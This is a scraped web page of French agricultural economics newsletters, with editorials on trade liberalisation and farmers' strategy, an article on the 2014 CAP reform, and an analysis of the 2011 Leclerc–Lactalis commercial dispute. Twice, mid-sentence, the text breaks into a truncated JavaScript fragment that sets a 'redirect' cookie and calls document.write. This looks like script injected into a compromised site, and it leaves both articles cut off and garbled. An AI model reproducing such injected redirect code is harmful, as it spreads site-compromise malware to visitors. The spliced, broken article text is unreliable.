Lettre de Veille économique agricole – Novembre 2019

EDITO

Quelle ouverture pour les marchés agricoles, demain ?

La tendance à la libéralisation des marchés a marqué les dernières décennies. L’Union Européenne poursuit cette tendance avec les accords du CETA et du Mercosur, où toutefois l’enjeu se focalise clairement autour des normes sur les modes de production. Prélude à une nouvelle conception en matière d’échange ? Nous voyons de grands pays agricoles, qui ont tout à gagner à la liberté des échanges, conduire des politiques qui évoluent vers moins de libéralisme : le cas des USA à ce titre est majeur et le blocage des instances de l’OMC ne va faire qu’accentuer le phénomène. Les grands pays d’Asie, quant à eux, prennent conscience que les produits agricoles doivent avoir un traitement à part dans la mondialisation. Les pays importateurs du Maghreb freinent leur ouverture aux pays de la Mer Noire car ils craignent d’être dépendants de zones dont ils connaissent mal les enjeux. On entend à nouveau parler de contrats étatiques qui engageraient des qualités et des volumes pour limiter les fluctuations de prix au consommateur.

D’un autre côté, les compétiteurs sur les commodités tels que l’Ukraine, le Brésil ou l’Argentine augmentent leurs productions avec des coûts de revient faibles, il est alors difficile pour les producteurs européens de conserver leur place sur ces produits standards. Quant au consommateur européen, il demande de plus en plus de garanties sur les produits sans vouloir en payer le prix et cette incohérence apparaît de moins en moins tenable.
Dans ce contexte, quel est le bon prix pour les productions françaises ? La période récente montre que les productions européennes ne font plus le prix mais le subissent. Les exploitants en mesure de mener avec détermination une stratégie volume/prix doivent donc rechercher un complément de compétitivité hors prix pour rester sur les marchés : la qualité de l’origine France, sa régularité aussi. Retrouver un lien entre l’évolution du coût et celle du prix, comme le décrètent les EGA, suppose que les producteurs puissent influer sur le prix.

La bonne nouvelle, c’est que les segmentations prennent de plus en plus de poids : gammes qui s’enrichissent d’allégations prisées par les consommateurs (pâturage, plein air, sans OGM, local) ; marchés identifiés à côté du conventionnel (bio, certains labels, appellations d’origine et maintenant HVE…) ; circuits courts vis-à-vis desquels les consommateurs eux-mêmes s’organisent en tant que véritable partie prenante. Ce sont autant d’opportunités de se déconnecter du prix mondial.

Marc VARCHAVSKY et Philippe BOULLET

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Lettre de Veille économique agricole – Juillet 2019

édito
Comment retrouver sa boussole ?

par Marc Varchavsky

Les messages paradoxaux envoyés par la société aux agriculteurs créent un doute sur les objectifs à poursuivre et un malaise sur le sens du métier.
Comment répondre aux injonctions de « bien traiter les animaux », « ne pas polluer », « ne pas s’agrandir »… mais aussi de relever le défi du déficit commercial, tout en produisant pour un marché local et en étant fier et serein dans son métier ?
Tous ces messages sont mis sur un même niveau ce qui rend leur prise en compte difficile pour un acteur isolé qu’est l’agriculteur sur son exploitation.
Retrouvons le bon sens de choisir des objectifs stratégiques chacun à son niveau, en fonction de ses atouts, de ses envies et de son potentiel.
Cela peut se raisonner au niveau individuel : c’est l’objet du travail réalisé par le Groupe National de Veille Économique du réseau Cerfrance sur la vision à 2030. Des orientations stratégiques gagnantes ont été identifiées et décrites sous la forme de quatre orientations stratégiques.
Il y a également un enjeu au niveau collectif : explorons, avec le recul, ce qui a fait la réussite des programmes opérationnels dans la filière Fruits et Légumes.
Cette réflexion peut aider à préparer un avenir où chacun peut trouver sa place et où les filières peuvent répondre à des exigences sociétales sans compromettre la réussite économique individuelle des agriculteurs.
Osons choisir chacun une orientation stratégique adaptée à ce que nous sommes, lisible pour les autres et qui ne cherche pas à concilier des objectifs contradictoires.

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La PAC 2014 au cœur des crises

Crise alimentaire, crise agricole, crise environnementale, crise financière : c’est à ces crises successives impactant l’agriculture auxquelles la PAC 2014 tente de répondre (volatilité des marchés agricoles, sécurité alimentaire, légitimité des aides). Mais élaboré depuis plus de 18 mois, autant dire un siècle,  le projet présenté en octobre dernier n’a pas pu intégrer la plus graves d’entre elles : la crise de l’Euro dont personne ne sait aujourd’hui jusqu’où elle conduira ou ne conduira pas l’Europe.

Du changement et peu de surprises

A la différence des précédentes réformes (Quotas laitiers en 1984, réforme de 1992 ou découplage des aides en 2003) qui entretenaient un certain suspens la présentation des propositions législatives de la PAC 2014 par Dacian CIOLOS fait exception.

Plusieurs raisons à cela :, le Parlement Européen devenu co-décisionnaire sur la PAC depuis l’application du traité de Lisbonne avait pris l’initiative sur l’orientation des débats. De son côté, la commission avait préparé terrain  en novembre 2010 en bâtissant son projet autour de trois scénarios dont deux jugés inefficaces par elle-même. Enfin et surtout, les propositions de la Commission sur le cadre financier 2014-2020 annoncées fin juin 2011 ont eu la primauté sur les propositions de la PAC 2014.

Le budget de la PAC est ainsi gelé sur la période 2014-2020, ce qui inflation oblige se traduira bien par une baisse en terme réel des moyens alloués à l’agriculture.

Quel sens donner à cette réforme de la PAC 2014 ?

En synthèse les propositions de la PAC 2014 se traduisent par un nouvel élan pour l’environnement via le verdissement obligatoire des aides à hauteur de 30% du paiement de base. Applicable pour l’ensemble des aides du 1er pilier, la commission a préféré  un territoire européen vert pâle plutôt que quelques zones clairsemées en vert foncé ;

L’autre sujet majeur consistait à entamer le processus de convergence des aides directes entre les Etats-Membres. Redoutée par les Etats-Membres historiques (UE à 15) cette convergence des aides apparaît au final relativement timide sur cet exercice budgétaire 2014-2020.

En revanche, la convergence au sein des Etats-Membre est rendue obligatoire d’ici 2020. Cette transition sera particulièrement sensible en France  qui est restée accrochée à ses références « pré »historiques, si ce n’est le premier pas impulsé par Michel BARNIER lors du bilan de santé.

Cette convergence nationale (ou régionale) ne manquera pas de voir s’affronter d’une part les filières agricoles et d’autre part les territoires, tant les écarts peuvent être importants. Si les céréaliers ont encore un bout de chemin à parcourir pour s’approcher de la moyenne nationale, certains systèmes pourraient être davantage affectés  soit de part leur haut niveau de DPU (le système « lait intensif +taurillons » peut atteindre 550 €/ha) soit par la contrainte du verdissement lié à la diversité des cultures (Système maïs irrigué).

D’autres mesures dont certaines facultatives sont venues enrichir le dispositif : une bonification de 25% des aides pour les jeunes agriculteurs, la possibilité de dégager 5% des soutiens pour les zones à handicaps naturels,  de même que 5% pour le soutien couplé de filières agricoles sensibles.

La conjugaison des crises au pluriel a aussi entamé l’orthodoxie libérale de la Commission. Qu’il s’agisse du maintien des outils d’intervention, de la possibilité de coupler jusqu’à 5% des aides directes, d’adoucissement des règles du droit de la concurrence (organisation des producteurs, interprofession), la PAC 2014, sans revenir en arrière, marque un arrêt dans le « démantèlement » des outils de protection.

Contrairement aux réformes passées (depuis 92 jusqu’en 2003), il n’est pas question de baisse de droits de douanes, de baisse de prix d’intervention, de réduction des capacités de stockage, de poursuite du découplage des aides etc.  Ce revirement est aussi le fruit de l’absence d’avancées dans les négociations  à l’OMC ; Le cycle de DOHA est dans un coma profond et il est fort probable qu’une future réforme de la PAC sera à négocier d’ici la mise en œuvre d’un nouvel accord à Genève.

Et si on ne pouvait plus financer la PAC à ce niveau ?

Cette proposition de PAC 2014 va désormais être traditionnellement débattue, amendée, et critiquée  de toute part Mais au-delà de ces négociations, certains pointent déjà son caractère périmé.  Ainsi Stéphane LE FOLL , député européen et  probablement l’un des plus fins connaisseurs du dossier PAC en France, appelait dès la if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘

Un bras de fer entre LECLERC et LACTALIS qui pourrait durer

Avec respectivement plus de 20% de la collecte laitière en France, et près de 18% de part de marché dans la grande distribution, LACTALIS et LELCLERC se livrent un combat dans la catégorie poids lourds ; L’un refusant de livrer l’autre ou l’autre refusant de commercialiser l’un …   selon les sources.

 Un épisode semblable avait déjà eu lieu en 2007 lors de la précédente flambée des produits laitiers. Depuis le début mars 2011, les consommateurs ne trouvent donc plus dans les linéaires des centres Leclerc la gamme des produits Lactalis.

 Chacun utilisant des arguments plus ou moins pédagogiques :

 –   Michel Edouard LECLERC refusant les hausses de prix demandées par Lactalis  qui sont jugées excessives en comparaison des autres industriels laitiers. S’érigeant en défenseur du pouvoir d’achat du consommateur, les centres Leclerc s’offrent en même temps une publicité à bon compte.

Si le président des magasins LECLERC est un bon communiquant dans les sphères médiatiques, la communication a également été très bien diffusée en interne si on en juge par l’explication de texte que vous pouvez obtenir  auprès des hôtesses de caisse. Du grand professionnalisme !  

Mais, n’en déplaisent à certains, Mr LECLERC est dans son rôle de commerçant de la grande distribution : Acheter le moins cher possible, pour vendre au meilleur prix (par rapport à la concurrence) tout en préservant ses marges, et gagner des parts de marché ce que les établissements LECLERC ne manquent pas de faire selon les données de Kantar, que LSA s’est procurées (« Leclerc, encore une fois, caracole en tête des enseignes, avec une part de marché en hausse de 0,8 point, lors des quatre premières semaines de 2011 ».) La stratégie de LECLERC et ses intérêts ne sont donc pas incompatibles avec le discours « publicitaire » de défense du pouvoir d’achat.

 –   Emmanuel BESNIER, PDG de Lactalis, fort de ses marques et de son poids dans la collecte, semble le seul dans la filière laitière à être en mesure de livrer une telle bataille. Cette jauge du véritable rapport de force entre les deux groupes dépasse le court terme et pèsera forcément dans les futures négociations. Sur certains  produits , la part de marché de LACTALIS est davantage concentrée que la grande distribution : Sur le lait UTH, hors MDD (Marque de distributeurs) , SODIAAL avec la marque CANDIA et Lactalis avec LACTEL réalisent près de 70% du volume selon LINEAIRE (fév 2010). Si à travers cette guerre commerciale, LACTALIS peut prétendre du même coup défendre les producteurs de lait, en répercutant les hausses de prix payé au producteur passées et à venir sur l’année 2011 compte tenu de la tenue des cours sur le marché mondial, il joue néanmoins une partie importante.

 S’il semble difficile pour LACTALIS de se passer sur le moyen terme de près de 20% de la distribution, il n’est pas forcément « perdant ». à court terme. Compte tenu des cours actuels des produits industriels laitiers (beurre et poudre), la flexibilité sur le prix du lait est devenue positive. Si ses capacités de transformation le lui permettent, LACTALIS peut donc tenir cette posture sans y perdre financièrement : Faire du beurre et de la poudre plutôt que du Camembert.

 Au final , le dernier mot pourrait revenir comme souvent au consommateur. Chaque acteur ayant pris un risque dans ce jeu de poker menteur :

Pour LECLERC, quel sera l’impact de cette stratégie  sur la fréquentation de ses magasins: Combien de consommateurs changeront de crémerie pour trouver leur roquefort société ou leur camembert président ? et Combien viendront chez lui puisqu’il semble garantir les prix les plus bas ? Les directeurs de magasins auront bientôt la réponse.

 Pour LACTALIS, Quel sera l’impact réel de perte de part de marché sur ses produits de marques et lorsqu’il retrouvera les linéaires de l’enseigne de Leclerc : combien de temps mettra-t-il à retrouver son rang dans les supermarchés LECLERC ?

Dans cette période de mise en place de la contractualisation dans la filière laitière, cet épisode illustre une nouvelle fois  que les contrats ne remplaceront pas la régulation. Qu’il s’agisse des relations entre producteurs et industriels d’une part, ou entre transformateurs et distributeurs d’autres parts, les négociations commerciales se feront sur la base du marché dans un rapport de force. Du côté des pouvoirs publics, ces derniers pourraient rapidement être tiraillés entre la volonté de rééquilibrer la chaine alimentth.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘